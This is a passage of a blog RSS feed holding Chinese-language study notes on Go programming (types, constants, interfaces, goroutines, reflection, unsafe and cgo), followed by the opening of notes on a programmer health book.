&lt;p&gt;整数转换成 string 后，值按文字符号类型解读，并产生代表该文字符号值的 UTF-8 码&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;字符串和字节切片&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;string 与 []byte 可互相转换&lt;/li&gt;
&lt;li&gt;b := []byte(s) 转换会分配新的字节数组，复制并填入 s 中的字节，并生成一个切片引用指向整个数组&lt;/li&gt;
&lt;li&gt;string(b) 也会产生一份副本&lt;/li&gt;
&lt;li&gt;产生副本（复制）的原因是为了即使转换成 []byte 并修改，也要保证字符串的不变性（字节不变）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;布尔型&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;常量：只有 &lt;code&gt;true&lt;/code&gt; 和 &lt;code&gt;false&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;短路：如果运算符左边操作数已能直接确认总体结果，则右边操作数不会继续运算下去了&lt;/li&gt;
&lt;li&gt;优先级助记：
&lt;ul&gt;
&lt;li&gt;&amp;amp;&amp;amp; -&amp;gt; 逻辑乘法&lt;/li&gt;
&lt;li&gt;|| -&amp;gt; 逻辑加法&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;无法隐式转换成数值（0 1）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;常量&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;常量就是字面量，也是一个表达式，必须在编译阶段就可以计算出其值&lt;/li&gt;
&lt;li&gt;可在包级或函数体内声明，遵循首字母可见性规则&lt;/li&gt;
&lt;li&gt;只能声明为基础类型，本质上属于基础类型（数字、字符串、布尔型），包括基于基础类型的命名类型&lt;/li&gt;
&lt;li&gt;常量操作数运算结果（算术、逻辑、比较）、类型转换结果仍是常量&lt;/li&gt;
&lt;li&gt;内置函数返回值（len cap real imag complex unsafe.Sizeof）视情况而定是否是常量&lt;/li&gt;
&lt;li&gt;支持组声明，除第一项外其它项的表达式和类型都可省略，会复用前一项的表达式和类型&lt;/li&gt;
&lt;li&gt;变量生成器 iota：iota 从 0 开始取值，逐项加一，即每出现一次加一，遵循省略复用，复用的表达式为 iota&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;无类型常量&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;字面量（从属类型待定的常量）：类型由字面量的语法决定（0 0.0 0i &apos;\u0000&apos; true false）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;会暂时维持较高精度，比基础类型的数学精度更高，且算术精度高于原生机器精度（至少达256位）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;类别：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;无类型整数&lt;/li&gt;
&lt;li&gt;无类型浮点数&lt;/li&gt;
&lt;li&gt;无类型复数&lt;/li&gt;
&lt;li&gt;无类型文字符号（rune）&lt;/li&gt;
&lt;li&gt;无类型字符串&lt;/li&gt;
&lt;li&gt;无类型布尔型&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;与类型已确定的常量相比，无类型常量可以写进更多表达式而无需转换类型（字面量自动类型推断）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;只有常量才可以是无类型的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;转换：要求目标类型能够表示原值（实数复数允许舍入取整）&lt;/li&gt;
&lt;li&gt;隐式转换：常量的类型会被转换成该变量的类型：
&lt;ul&gt;
&lt;li&gt;将无类型常量声明为变量&lt;/li&gt;
&lt;li&gt;在类型明确的变量赋值的右边出现无类型常量&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;变量声明（包括短声明）中如果没明确指定类型，无类型常量会被隐式转换成默认类型（由字面量语法决定）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;整数 -&amp;gt; int&lt;/li&gt;
&lt;li&gt;浮点数 -&amp;gt; float64&lt;/li&gt;
&lt;li&gt;复数 -&amp;gt; complex128&lt;/li&gt;
&lt;li&gt;文字符号 -&amp;gt; rune(int32)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;显示声明为所期望的类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var i = int8(0)
var i int8 = 0
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第四章 复合数据结构&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;可比较：
&lt;ul&gt;
&lt;li&gt;同类型间&lt;/li&gt;
&lt;li&gt;与 nil 比较（可赋为 nil 的类型）&lt;/li&gt;
&lt;li&gt;或者两者皆可&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;slice 不可比较的原因：
&lt;ul&gt;
&lt;li&gt;因为在 slice 上没有很好地定义相等行为：权衡在于浅层与深层比较，指针与值比较，如何处理递归类型等等&lt;/li&gt;
&lt;li&gt;如果用深度比较：map 只做浅拷贝，要求键在整个生命周期保持不变
&lt;ul&gt;
&lt;li&gt;原因：&lt;/li&gt;
&lt;li&gt;非直接，可包含自身&lt;/li&gt;
&lt;li&gt;非直接，同一个 slice 在不同时间持有元素不同&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;如果用引用比较：与数组不一致&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;按顺序访问 map：
&lt;ol&gt;
&lt;li&gt;遍历 map 收集键放到 slice 里面&lt;/li&gt;
&lt;li&gt;排序键 slice&lt;/li&gt;
&lt;li&gt;遍历键 slice，用键去访问 map 里面的值&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;map 作为集合：bool 值类型&lt;/li&gt;
&lt;li&gt;把不可比较的类型作为 map 的键：
&lt;ul&gt;
&lt;li&gt;帮助函数：把不可比较的值映射成可比较的值，使用 map 前先调用帮助函数&lt;/li&gt;
&lt;li&gt;用不可比较类型的指针类型作键&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;JSON：
&lt;ul&gt;
&lt;li&gt;转换规则：
&lt;ul&gt;
&lt;li&gt;marshal（结构体转换到 JSON）：保留大小写&lt;/li&gt;
&lt;li&gt;unmarshal（JSON 转换到结构体）：忽略大小写&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;对应的数据结构：
&lt;ul&gt;
&lt;li&gt;结构体：字段名（必须大写）&lt;/li&gt;
&lt;li&gt;map[string]interface{}&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;数组的不定长长度：[...]int{1, 2} 会自动初始化类型为 [2]int&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第五章 函数&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;捕获循环最后迭代变量：
&lt;ul&gt;
&lt;li&gt;特征：循环加defer加引用闭包函数&lt;/li&gt;
&lt;li&gt;单纯的使用引用闭包函数不会有问题&lt;/li&gt;
&lt;li&gt;解决：引入内部变量或传参&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;资源延迟释放：
&lt;ul&gt;
&lt;li&gt;特征：循环加defer调用，倒序执行&lt;/li&gt;
&lt;li&gt;未立即执行的闭包函数也会造成捕获最后迭代变量&lt;/li&gt;
&lt;li&gt;解决：加一层匿名函数&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;defer 把后面的函数（不管是具名还是匿名）整体当作一个栈帧压入&lt;/li&gt;
&lt;li&gt;defer 的函数或方法和表达式定义时求值，如果加上引用闭包函数或是值地址的话会变成引用最后一个&lt;/li&gt;
&lt;li&gt;闭包：由函数和与其相关的引用环境组合而成的实体&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第六章 方法&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;方法等于函数：
&lt;ul&gt;
&lt;li&gt;方法变量：已确定选择子 e.g. &lt;code&gt;m := p.Method()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;方法表达式：未确定选择子，第一个参数传入选择子 e.g. &lt;code&gt;(*T).Method(p)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;T 与 *T 不同，拥有的方法不同，实现的接口也不同：
&lt;ul&gt;
&lt;li&gt;*T 拥有 T 的方法&lt;/li&gt;
&lt;li&gt;则实现了 *T 接口的值也实现了 T 接口&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;嵌入结构体：
&lt;ul&gt;
&lt;li&gt;本质：类型名作为字段名&lt;/li&gt;
&lt;li&gt;可访问深层的可导出字段和方法&lt;/li&gt;
&lt;li&gt;包装分层：
&lt;ul&gt;
&lt;li&gt;直接关联的方法&lt;/li&gt;
&lt;li&gt;第一层&lt;/li&gt;
&lt;li&gt;第二层&lt;/li&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;函数返回 *T 类型才可以直接访问字段（一行内）（作表达式）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第七章 接口&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;接口值：接口类型的值
&lt;ul&gt;
&lt;li&gt;动态类型（具体类型）：类型描述符&lt;/li&gt;
&lt;li&gt;动态值（具体值）：指针的副本&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;接口值可比较，相等条件：
&lt;ul&gt;
&lt;li&gt;同为 nil&lt;/li&gt;
&lt;li&gt;动态类型相同，且动态值用动态类型比较时也相等。当动态类型不可比较时 panic&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;类型断言 &lt;code&gt;x.(T)&lt;/code&gt;：x 为接口值，T 为具体类型或接口类型，表达式返回一个新值
&lt;ul&gt;
&lt;li&gt;运行时错误&lt;/li&gt;
&lt;li&gt;接口值-&amp;gt;具体类型（当x的具体类型是T）&lt;/li&gt;
&lt;li&gt;接口值-&amp;gt;接口值（接口类型转换：当x的具体类型实现了T接口时，返回一个接口值，类型为T，具体类型和具体值不变）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;赋值 &lt;code&gt;a = b&lt;/code&gt;：a 为接口值，b 为具体类型值或接口值
&lt;ul&gt;
&lt;li&gt;编译时错误&lt;/li&gt;
&lt;li&gt;接口值=具体类型值（具体类型必须实现对应接口值的接口）&lt;/li&gt;
&lt;li&gt;接口值=接口值（b类型必须实现了a的接口）&lt;/li&gt;
&lt;li&gt;显示转换：a = io.Writer(b)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第八章 Goroutine 和 Channel&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;并发（concurrency）指能够让多个任务在逻辑上交织执行的程序设计，并行（parallelism）指物理上同时执行&lt;/li&gt;
&lt;li&gt;for range 可用于通道：接收完最后一个后退出循环&lt;/li&gt;
&lt;li&gt;close(通道) 时发生 panic：
&lt;ul&gt;
&lt;li&gt;nil 通道&lt;/li&gt;
&lt;li&gt;已关闭的通道&lt;/li&gt;
&lt;li&gt;只能接收的通道&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;单向通道不能转换成双向通道&lt;/li&gt;
&lt;li&gt;make(通道)：只有 cap，但是可以访问 len（表示通道当前元素数）和 cap&lt;/li&gt;
&lt;li&gt;计数信号量：用缓冲通道实现，容量为 n，最多只能有 n 个 goroutine 同时运行
&lt;ul&gt;
&lt;li&gt;开始：获取令牌 -&amp;gt; 发送一个值到通道&lt;/li&gt;
&lt;li&gt;结束：释放令牌 -&amp;gt; 从通道中接受一个值&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;select（多路复用）：
&lt;ul&gt;
&lt;li&gt;和 switch 一样只执行一次，但必须执行一次&lt;/li&gt;
&lt;li&gt;对每个分支都尝试过且不能通信才执行 default 语句&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;等待所有的 goroutine 执行结束：
&lt;ul&gt;
&lt;li&gt;已知 goroutine 数量：开 x 个，发送 x 次，对应接收 x 次（在阻塞通道上）&lt;/li&gt;
&lt;li&gt;未知 goroutine 数量：&lt;code&gt;sync.WaitGroup&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;每建立一个 goroutine -&amp;gt; &lt;code&gt;wg.Add(1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;每当一个 goroutine 结束 -&amp;gt; &lt;code&gt;wg.Done()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;并在另一个 goroutine 中 -&amp;gt; &lt;code&gt;wg.Wait()&lt;/code&gt;：阻塞，直到 wg 为零&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第九章 基于共享变量的并发&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;避免数据竞态的方法：
&lt;ul&gt;
&lt;li&gt;不修改变量&lt;/li&gt;
&lt;li&gt;把变量限制在单个 goroutine，通过通道来使用这些变量（使用监控 goroutine 来代理变量的访问）&lt;/li&gt;
&lt;li&gt;串行受限：多个 goroutine 和多个通道形成的管道中把变量发送出去后不再修改&lt;/li&gt;
&lt;li&gt;互斥量&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;互斥锁（写锁）：&lt;code&gt;sync.Mutex&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Lock()&lt;/li&gt;
&lt;li&gt;Unlock()&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;多读单写锁（读锁、读写锁、共享锁）：&lt;code&gt;sync.RWMutex&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;RLock()：读时使用&lt;/li&gt;
&lt;li&gt;RUnlock()：不读时使用&lt;/li&gt;
&lt;li&gt;升级后也支持写锁的方法：&lt;code&gt;Lock()&lt;/code&gt; &lt;code&gt;Unlock()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;sync.Once
&lt;ul&gt;
&lt;li&gt;Do(func)：只执行一次&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;m:n调度：调度 m 个 goroutine 到 n 个线程，n 对应 GOMAXPROCS&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十章 包和工具&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;编译速度快的原因：
&lt;ul&gt;
&lt;li&gt;导入声明在文件的头部：不用读取整个文件就可以确定依赖&lt;/li&gt;
&lt;li&gt;依赖关系形成 DAG：可以并行编译&lt;/li&gt;
&lt;li&gt;目标文件还记录了依赖包的导入声明&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;导入分类：
&lt;ul&gt;
&lt;li&gt;重命名导入&lt;/li&gt;
&lt;li&gt;顶级声明导入&lt;/li&gt;
&lt;li&gt;空导入&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;go 工具标识包的方法：
&lt;ul&gt;
&lt;li&gt;导入路径&lt;/li&gt;
&lt;li&gt;绝对路径&lt;/li&gt;
&lt;li&gt;相对路径：相对于 &lt;code&gt;$GOPATH/src/&lt;/code&gt;，需要以&lt;code&gt;./&lt;/code&gt;或&lt;code&gt;../&lt;/code&gt;开头，不然会被误认为是导入路径。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;GOOS：linux darwin windows&lt;/li&gt;
&lt;li&gt;GOARCH：amd64 386 arm&lt;/li&gt;
&lt;li&gt;go get -u gopl.io/...
&lt;ul&gt;
&lt;li&gt;如果是 main 包的话会安装可执行程序&lt;/li&gt;
&lt;li&gt;也会下载该包的依赖&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-u&lt;/code&gt;：如果已存在，则覆盖更新&lt;/li&gt;
&lt;li&gt;&lt;code&gt;...&lt;/code&gt;：下载该仓库下的所有子仓库&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;go build：
&lt;ul&gt;
&lt;li&gt;库：不保留任何结果&lt;/li&gt;
&lt;li&gt;main 包：不保留目标文件，只保留可执行程序&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;go install：保留目标文件。&lt;/li&gt;
&lt;li&gt;为不同的 OS 或 ARCH 编译不同的代码：
&lt;ul&gt;
&lt;li&gt;包级：文档注释里 &lt;code&gt;// +build linux drawin&lt;/code&gt; 表示只在 linux 或 drawin 下编译&lt;/li&gt;
&lt;li&gt;文件级：文件名包含 GOOS 或 GOARCH：只在对应的 GOOS 或 GOARCH 编译该文件&lt;/li&gt;
&lt;li&gt;代码块级：&lt;code&gt;// +flag&lt;/code&gt; middle_code &lt;code&gt;// -flag&lt;/code&gt;：设置 flag 标记时才编译 middle_code&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;go doc 注释：
&lt;ul&gt;
&lt;li&gt;包（doc.go）：&lt;code&gt;// Package fmt implements ...&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;导出函数：&lt;code&gt;// Print implements ...&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;内部包：导入路径含有 internal 目录：&lt;code&gt;net/http/internal/chunked&lt;/code&gt; 可被导入规则：
&lt;ul&gt;
&lt;li&gt;internal 一个父级包：net/http&lt;/li&gt;
&lt;li&gt;internal 多个同级包：net/http/...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十一章 测试&lt;/h2&gt;
&lt;p&gt;已总结到这篇博客：https://www.sulinehk.com/post/golang-unit-testing/。&lt;/p&gt;
&lt;h2&gt;第十二章 反射&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;非导出字段在反射下可见，但是不可更新&lt;/li&gt;
&lt;li&gt;reflect 包：
&lt;ul&gt;
&lt;li&gt;Zero(Type) Value -&amp;gt; 返回类型的零值&lt;/li&gt;
&lt;li&gt;New(Type) Value -&amp;gt; 返回一个指针，指针指向 Type 类型的零值&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;reflect.Type 接口类型：
&lt;ul&gt;
&lt;li&gt;TypeOf(interface{}) Type -&amp;gt; 取接口值中的动态类型&lt;/li&gt;
&lt;li&gt;t.Method(i) Method -&amp;gt; 返回 Method 类型的值，该值描述了该方法的名称和类型&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;reflect.Value 接口类型：
&lt;ul&gt;
&lt;li&gt;ValueOf(interface{}) Value -&amp;gt; 取接口值中的动态值&lt;/li&gt;
&lt;li&gt;v.Method(i) Value -&amp;gt; 返回一个方法变量，调用方法：v.Call(in []Value) []Value -&amp;gt; v 必须是 Func 类型&lt;/li&gt;
&lt;li&gt;Type() Type&lt;/li&gt;
&lt;li&gt;Interface() interface{}&lt;/li&gt;
&lt;li&gt;Kind() Kind&lt;/li&gt;
&lt;li&gt;CanAddr() bool&lt;/li&gt;
&lt;li&gt;ValueOf(&amp;amp;x).Elem() Value -&amp;gt; 返回任意变量 x 可寻址的 Value 值&lt;/li&gt;
&lt;li&gt;ValueOf(s) 不可寻址；VauleOf(s).Index(i) 可寻址：s[i] = *s[i] 隐式解引用&lt;/li&gt;
&lt;li&gt;CanSet() bool -&amp;gt; 是否是可设置的：结构体的非导出字段可寻址（读取）但不可设置&lt;/li&gt;
&lt;li&gt;IsValid() bool -&amp;gt; 是否是一个 Value，零值 Value 也返回 false&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;从可寻址的 Value 更新变量：
&lt;ul&gt;
&lt;li&gt;原始：
&lt;ul&gt;
&lt;li&gt;Addr() Value -&amp;gt; 返回一个指向变量的指针&lt;/li&gt;
&lt;li&gt;Interface() interface{} -&amp;gt; 返回包含这个指针的接口值&lt;/li&gt;
&lt;li&gt;对返回的接口值进行类型断言，转换成一个普通指针&lt;/li&gt;
&lt;li&gt;通过这个普通指针来更新变量&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Set(Value)&lt;/li&gt;
&lt;li&gt;SetInt(Value)...：不可在指向 interface{} 变量的 Value 上使用&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Kind 分类：只关心其底层类型
&lt;ul&gt;
&lt;li&gt;基础类型：Int Uint Float Complex String Bool&lt;/li&gt;
&lt;li&gt;聚合类型：Array Struct&lt;/li&gt;
&lt;li&gt;引用类型：Chan Func Ptr Slice Map&lt;/li&gt;
&lt;li&gt;接口类型：Interface&lt;/li&gt;
&lt;li&gt;Invalid 类型：Invalid -&amp;gt; 还没有任何值，也是 Value 类型的零值&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;不同类型可安全使用的操作：
&lt;ul&gt;
&lt;li&gt;Array, Slice:
&lt;ul&gt;
&lt;li&gt;Len() int&lt;/li&gt;
&lt;li&gt;Index(int) Value&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Struct:
&lt;ul&gt;
&lt;li&gt;NumField() int&lt;/li&gt;
&lt;li&gt;Field(int) Value&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Map:
&lt;ul&gt;
&lt;li&gt;MapKeys() []Value -&amp;gt; 每个 Value 都是 map 中的键&lt;/li&gt;
&lt;li&gt;MapIndex(Value) Value -&amp;gt; 返回键对应的值&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Ptr:
&lt;ul&gt;
&lt;li&gt;IsNil() bool -&amp;gt; 判断指针是否为 nil&lt;/li&gt;
&lt;li&gt;Elem() Value -&amp;gt; 返回指针指向的元素&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Interface:
&lt;ul&gt;
&lt;li&gt;IsNil() bool&lt;/li&gt;
&lt;li&gt;Elem() Value -&amp;gt; 获取动态值&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十三章 底层编程&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;编译期间：类型检查机制&lt;/li&gt;
&lt;li&gt;无法静态检测：
&lt;ul&gt;
&lt;li&gt;数组越界访问&lt;/li&gt;
&lt;li&gt;nil 指针引用&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;字在不同平台下的长度：
&lt;ul&gt;
&lt;li&gt;32 位：4 字节&lt;/li&gt;
&lt;li&gt;64 位：8 字节&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;unsafe 包由编译器实现&lt;/li&gt;
&lt;li&gt;内存对齐：为了更高的效率
&lt;ul&gt;
&lt;li&gt;2 字节（int16）-&amp;gt; 把地址对齐成 2 的整数倍&lt;/li&gt;
&lt;li&gt;4 字节（int32）-&amp;gt; 4 的整数倍&lt;/li&gt;
&lt;li&gt;8 字节（float64）-&amp;gt; 8 的整数倍&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;聚合类型长度至少为其所有成员之和：会插入内存空隙来对齐&lt;/li&gt;
&lt;li&gt;类型的长度：
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;长度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;bool&lt;/td&gt;
&lt;td&gt;1 byte&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;intN uintN floatN complexN&lt;/td&gt;
&lt;td&gt;N/8 byte&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;int uint uintptr&lt;/td&gt;
&lt;td&gt;1 word&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;*T&lt;/td&gt;
&lt;td&gt;1 word&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;string&lt;/td&gt;
&lt;td&gt;2 word(uintptr+len)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[]T&lt;/td&gt;
&lt;td&gt;3 word(uintptr+len+cap)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;map&lt;/td&gt;
&lt;td&gt;1 word&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;func&lt;/td&gt;
&lt;td&gt;1 word&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;chan&lt;/td&gt;
&lt;td&gt;1 word&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;interface&lt;/td&gt;
&lt;td&gt;2 word(type+value)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;li&gt;Sizeof(x 任意类型) uintptr
&lt;ul&gt;
&lt;li&gt;参数为任意类型的表达式，这个表达式不会被计算&lt;/li&gt;
&lt;li&gt;表示参数在内存中占用的字节长度（固定长度）&lt;/li&gt;
&lt;li&gt;固定长度：e.g. 参数为字符串时只会报告 string 类型字节长度，而不会报告字符串包含的真正字节长度&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Alignof(x 任意类型) uintptr
&lt;ul&gt;
&lt;li&gt;参数为任意类型的表达式，这个表达式不会被计算&lt;/li&gt;
&lt;li&gt;表示参数要求的对齐长度
&lt;ul&gt;
&lt;li&gt;布尔、数值类型：对齐到它们的长度（最大 8 字节）e.g. &lt;code&gt;bool -&amp;gt; 1; int16 -&amp;gt; 2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;其他类型：按字对齐（4 或 8 字节）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Offset(x 任意类型)
&lt;ul&gt;
&lt;li&gt;x 必须是一个成员选择器（s.f）&lt;/li&gt;
&lt;li&gt;计算 f 相对于 s 的偏移值（结构体开头和字段开头之间的字节数），包括内存空位&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;返回值都是常量，单位都是字节&lt;/li&gt;
&lt;li&gt;转换：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;*T&lt;/code&gt; &amp;lt;-&amp;gt; &lt;code&gt;unsafe.Pointer&lt;/code&gt; &amp;lt;-&amp;gt; &lt;code&gt;uintptr&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;普通指针 &amp;lt;-&amp;gt; 中间变量 &amp;lt;-&amp;gt; 可计算指针&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;FFI：外部函数接口 e.g. cgo&lt;/li&gt;
&lt;li&gt;cgo 使用 &lt;code&gt;import &quot;C&quot;&lt;/code&gt; 前的注释（紧贴、无空行）来生成临时包 C。&lt;/li&gt;
&lt;li&gt;cgo 参数：为编译器和链接器命令指定额外的参数，用于发现头文件 &lt;code&gt;bzlib.h&lt;/code&gt; 和目标文件 &lt;code&gt;libbz2.a&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;//#cgo CFLAGS: -I/usr/include&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;//#cgo LDFLAGS: -L/usr/lib -lbz2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;现在假设它们都安装在 &lt;code&gt;/usr&lt;/code&gt; 下&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;C 调用 Go：
&lt;ul&gt;
&lt;li&gt;将 Go 编译成静态库然后链接进 C&lt;/li&gt;
&lt;li&gt;将 Go 编译为动态库通过 C 来加载和共享&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;不要使用 uintptr 类型的临时变量：GC 移动时会把原来指向旧地址的指针改成指向新地址，但 uintptr 不是指针，所以地址不会被改变，导致指针指向错误的地址。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>Note</category></item><item><title>【读书笔记】程序员健康指南</title><link>https://www.sulinehk.com/post/note-for-the-healthy-programmer/</link><guid isPermaLink="true">https://www.sulinehk.com/post/note-for-the-healthy-programmer/</guid><pubDate>Mon, 02 May 2022 07:23:08 GMT</pubDate><content:encoded>&lt;h2&gt;第一章 做出改变&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;爬完一层楼梯，你是否会喘不过气?&lt;/li&gt;
&lt;li&gt;你是否经常一坐就是一个多小时?&lt;/li&gt;
&lt;li&gt;在最近一年内，你是否曾经因为背痛、颈痛、肩痛或手腕痛而使工作受到影响?&lt;/li&gt;
&lt;li&gt;在最近一周内，你的眼睛是否有过干涩、充血、发炎的症状，或是看完电脑屏幕之后难以看清别的东西?&lt;/li&gt;
&lt;li&gt;在最近一个月内，你是否至少有一次因吃得太饱而感到难受?&lt;/li&gt;
&lt;li&gt;今天你暴露在阳光下的时间是否不超过10分钟?&lt;/li&gt;
